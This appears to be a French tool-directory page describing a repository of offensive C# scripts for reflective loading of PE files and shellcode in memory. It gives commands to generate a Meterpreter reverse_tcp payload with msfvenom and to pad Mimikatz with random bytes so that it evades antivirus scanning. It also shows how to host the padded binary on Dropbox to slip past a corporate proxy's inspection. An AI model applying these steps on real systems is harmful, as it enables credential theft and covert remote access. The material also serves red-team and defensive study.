Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CSharpScripts — Scripts offensifs en C# pour l'injection réflective de PE et de shellcode, l'exécution de payloads en mémoire, le déchiffrement de shellcode par force brute XOR et l'analyse d'assemblages .NET. | Kitploit
Outils/GitHubGitHub/arno0x/csharpscripts
Outils de Chiffrement/DéchiffrementRétro-ingénierieShellcodePost-ExploitationAnalyse de MalwareTests d'IntrusionRed TeamingDéveloppement de Charges UtilesExploitation de Binaires
GitHubarno0x/csharpscripts

CSharpScripts

Scripts offensifs en C# pour l'injection réflective de PE et de shellcode, l'exécution de payloads en mémoire, le déchiffrement de shellcode par force brute XOR et l'analyse d'assemblages .NET.

34411220il y a 9 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

Scripts C#

Auteur : Arno0x0x - @Arno0x0x

Ce dépôt a pour but de publier certains de mes scripts C#. Certains sont simplement dérivés ou inspirés d'autres scripts que j'ai trouvés çà et là, et que j'ai adaptés à mes besoins ou simplement pour apprendre et progresser.

Déchiffrer par force brute (bf), puis charger et exécuter, un shellcode chiffré en xor

bfDecryptShellcode.cs

Ce script est un PoC un peu simpliste et probablement peu utile de déchiffrement par force brute d'un shellcode chiffré en XOR multioctet. Une fois le shellcode déchiffré, il est chargé en mémoire et exécuté.

Pour l'utiliser, vous avez besoin de deux choses :

  1. Un shellcode chiffré en XOR multioctet
  2. Le hash MD5 de la charge utile déchiffrée, qui sert de marqueur pour savoir que la bonne clé de déchiffrement a été trouvée

Vous pouvez obtenir les deux en utilisant mon projet ShellcodeWrapper et en lui fournissant n'importe quelle charge utile metasploit brute.

Charger et analyser dynamiquement un assembly .Net

parseAssembly.cs

Cette application console charge dynamiquement un assembly .Net (exe ou dll), soit depuis un fichier local, soit téléchargé depuis une URL, éventuellement encodé en base64. Une fois chargé, elle énumère ses types, méthodes et propriétés. Exemples : parseAssembly.exe myAssembly.dll ou parseAssembly.exe http://some.site.com/myAssembly base64

Jouer avec l'injection réflexive de PE et de shellcode

Il s'agit d'une collection de scripts adaptés des travaux de Casey Smith (@subTee) sur l'injection réflexive de PE ou de shellcode dans le processus appelant, à partir de diverses sources.

peloader.cs

Ce script charge un fichier PE x64 encodé en base64 (par exemple : Mimikatz ou un Meterpreter) dans la mémoire du processus et l'exécute de manière réflexive. Le PE est passé sous forme de variable chaîne base64 au début du fichier (oui, c'est codé en dur).

Vous pouvez générer cette chaîne encodée en base64 à partir de n'importe quel fichier à l'aide de la ligne de commande *nix suivante :

root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64

La compilation du script sur une machine Windows nécessite le framework .Net (installé par défaut à partir de Windows 7) :

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs

shellcodelauncher.cs

Ce script exécute un shellcode dans la mémoire du processus et l'exécute de manière réflexive. Le shellcode est passé sous forme d'un tableau d'octets dans une variable. Vous pouvez obtenir le code approprié pour ce tableau généré automatiquement à votre intention avec l'utilitaire msfvenom de Metasploit. Par exemple, pour générer un shellcode reverse_tcp meterpreter :

root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp

La compilation du script sur une machine Windows nécessite le framework .Net (installé par défaut à partir de Windows 7) :

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs

runfromzipinmemory.cs

Ce script est largement et honteusement basé sur, inspiré de, et dérivé du travail de Casey Smith (@subTee) sur Netkatz.

J'ai découvert que l'antivirus local (McAfee) sur mon poste de travail d'entreprise est configuré pour NE PAS analyser le contenu d'un fichier ZIP, probablement en partant du principe que chaque fois que ce contenu doit être lu ou exécuté, il serait normalement d'abord extrait quelque part sur le disque, et que tout élément malveillant qu'il contient serait alors détecté par l'antivirus à ce moment-là.

Ce que fait ce script, c'est charger le tout en mémoire et travailler uniquement à partir de là, en utilisant également la réflexion pour exécuter un PE depuis la mémoire du processus appelant.

Ainsi, non seulement l'antivirus ne réagit pas du tout, mais d'un point de vue forensique, le seul « processus visiblement en cours d'exécution » semble parfaitement innocent.

Compiler le script sur une machine Windows nécessite le framework .Net (installé par défaut à partir de Windows 7) :

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs

Vous pouvez ensuite exécuter :

unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>

netPEloader.cs

Ce script est largement basé sur le travail de Casey Smith (@subTee) sur Netkatz, dont il s'inspire.

Netkatz est une excellente preuve de concept (PoC) permettant de charger la dernière version de mimikatz depuis GitHub et de l'exécuter directement en mémoire. Cependant, j'ai rencontré trois problèmes dans mon environnement :

  1. La connexion à Internet doit passer par un proxy d'entreprise exigeant une authentification NTLM (Windows SSO est OK)
  2. La page GitHub de Mimikatz est bloquée par le proxy d'entreprise en raison de la catégorisation des sites web
  3. Le fichier mimikatz_trunked.zip est détecté par l'antivirus du proxy (oui, avec l'inspection SSL activée au niveau du proxy)

J'ai donc modifié le script netkatz original pour résoudre ces 3 problèmes :

  1. Ajout de la prise en charge du proxy système et des identifiants par défaut (utilisateur Windows actuellement connecté)
  2. Hébergement du PE sur un site web non bloqué, d'apparence anodine comme www.dropbox.com
  3. Pour rendre le PE indétectable par l'antivirus, nous pourrions recourir à diverses méthodes d'obfuscation comme le chiffrement ou un encodage spécifique, mais j'apprécie la technique simple consistant à ajouter 65536 octets de données aléatoires au début du véritable PE x64 de Mimikatz :
    • dd if=/dev/urandom of=garbage bs=65536 count=1
    • cat garbage mimikatz.exe > mimiHidden
    • Téléverser mimiHidden sur Dropbox et le partager

L'URL depuis laquelle télécharger le PE caché est codée en dur dans le script.

La compilation du script sur une machine Windows nécessite le framework .Net (installé par défaut à partir de Windows 7) :

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs
Télécharger l’outil